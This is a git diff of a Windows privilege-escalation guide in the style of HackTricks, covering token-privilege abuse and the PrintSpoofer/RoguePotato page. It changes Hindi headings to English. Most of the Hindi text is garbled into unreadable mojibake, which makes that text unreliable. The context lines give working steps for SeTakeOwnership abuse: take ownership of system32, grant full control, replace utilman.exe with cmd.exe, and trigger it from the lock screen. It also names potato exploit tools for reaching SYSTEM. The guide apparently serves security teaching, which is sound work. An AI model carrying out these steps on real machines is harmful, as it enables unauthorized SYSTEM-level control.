рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ

| +| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
4. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред

| +| **`SeTcb`** | _**Admin**_ | 3rd party tool |

рдЯреЛрдХрди рдХреЛ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░реЗрдВред SeImpersonate рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рдиреА рд╣реИред

| | -## рд╕рдВрджрд░реНрдн +## Reference -- Windows рдЯреЛрдХрдиреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ [**рдЗрд╕ рдкреЗрдкрд░**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред +- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 5a727f04a..5186cdbe8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato Windows Server 2019 рдФрд░ Windows 10 build 1809 рдХреЗ рдмрд╛рдж рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕рдорд╛рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдФрд░ `NT AUTHORITY\SYSTEM`\*\* рд╕реНрддрд░ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ [рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` рдЯреВрд▓ рдкрд░ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Windows 10 рдФрд░ Server 2019 рд╣реЛрд╕реНрдЯ рдкрд░ рдЕрдиреБрдХрд░рдг рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ JuicyPotato рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ред +> [!WARNING] > **JuicyPotato Windows Server 2019 рдФрд░ Windows 10 build 1809 рд╕реЗ рдЖрдЧреЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕рдорд╛рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдФрд░ `NT AUTHORITY\SYSTEM`** рд╕реНрддрд░ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ [рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` рдЯреВрд▓ рдкрд░ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Windows 10 рдФрд░ Server 2019 рд╣реЛрд╕реНрдЯ рдкрд░ рдЕрдиреБрдХрд░рдг рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ JuicyPotato рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ред ## Quick Demo @@ -73,7 +73,7 @@ nt authority\system ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -## рд╕рдВрджрд░реНрдн +## References - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)